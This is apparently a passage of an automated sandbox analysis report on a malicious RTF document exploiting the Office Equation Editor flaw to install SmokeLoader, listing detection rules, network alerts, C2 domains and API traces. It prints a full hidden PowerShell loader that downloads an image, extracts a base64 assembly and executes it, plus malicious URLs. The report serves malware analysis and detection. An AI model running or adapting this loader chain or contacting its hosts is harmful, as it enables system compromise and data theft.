C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3312, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" , ProcessId: 3472, ProcessName: wscript.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3312, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ?

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3260, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3516, TargetFilename: C:\Users\user\AppData\Local\Temp\zoonpc2e.0er.ps1

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.22 - Destination IP: 185.251.91.119

Timestamp:	2024-08-31T19:25:33.084582+0200
SID:	2039103
Severity:	1
Source Port:	49166
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.22 - Destination IP: 185.251.91.119

Timestamp:	2024-08-31T19:26:53.834308+0200
SID:	2039103
Severity:	1
Source Port:	49168
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.22 - Destination IP: 185.251.91.119

Timestamp:	2024-08-31T19:25:41.127631+0200
SID:	2039103
Severity:	1
Source Port:	49167
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE SmokeLoader encrypted module (3) - Source IP: 185.251.91.119 - Destination IP: 192.168.2.22

Timestamp:	2024-08-31T19:25:33.477519+0200
SID:	2829848
Severity:	2
Source Port:	80
Destination Port:	49166
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Malicious Base64 Encoded Payload In Image - Source IP: 207.241.232.154 - Destination IP: 192.168.2.22

Timestamp:	2024-08-31T19:25:08.839977+0200
SID:	2049038
Severity:	1
Source Port:	443
Destination Port:	49164
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf

Avira: detected

Antivirus detection for URL or domain

Source: https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg	URL Reputation: Label: malware
Source: http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIF	Avira URL Cloud: Label: malware
Source: http://prolinice.ga/index.php	Avira URL Cloud: Label: malware
Source: http://vilendar.ga/index.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}

Multi AV Scanner detection for domain / URL

Source: prolinice.ga	Virustotal: Detection: 15%	Perma Link
Source: http://prolinice.ga/	Virustotal: Detection: 15%	Perma Link
Source: http://prolinice.ga/index.php	Virustotal: Detection: 18%	Perma Link
Source: http://vilendar.ga/index.php	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	Virustotal: Detection: 50%			Perma Link
Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	ReversingLabs: Detection: 50%

Source: C:\Windows\explorer.exe	Code function: 12_2_02805174 CryptAcquireContextA,	12_2_02805174
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C3098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	19_2_000C3098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C3717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	19_2_000C3717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C3E04 RtlCompareMemory,CryptUnprotectData,	19_2_000C3E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C1198 CryptBinaryToStringA,CryptBinaryToStringA,	19_2_000C1198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C11E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	19_2_000C11E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	19_2_000C123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C1FCE CryptUnprotectData,RtlMoveMemory,	19_2_000C1FCE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_000826AC lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	21_2_000826AC
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_0008178C lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	22_2_0008178C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_0008118D CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	22_2_0008118D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 24_2_000C2404 lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	24_2_000C2404
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 24_2_000C245E lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	24_2_000C245E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 24_2_000C263E CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	24_2_000C263E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 26_2_00082799 CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	26_2_00082799
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 26_2_000825A4 CryptBinaryToStringA,CryptBinaryToStringA,	26_2_000825A4

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 23.94.148.16 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown	HTTPS traffic detected: 207.241.232.154:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.232.154:443 -> 192.168.2.22:49164 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdb\ source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: RegAsm.pdb source: gwseuha, 00000011.00000000.414661031.00000000013A2000.00000020.00000001.01000000.00000008.sdmp, gwseuha.12.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: RegAsm.pdb4 source: gwseuha, 00000011.00000000.414661031.00000000013A2000.00000020.00000001.01000000.00000008.sdmp, gwseuha.12.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
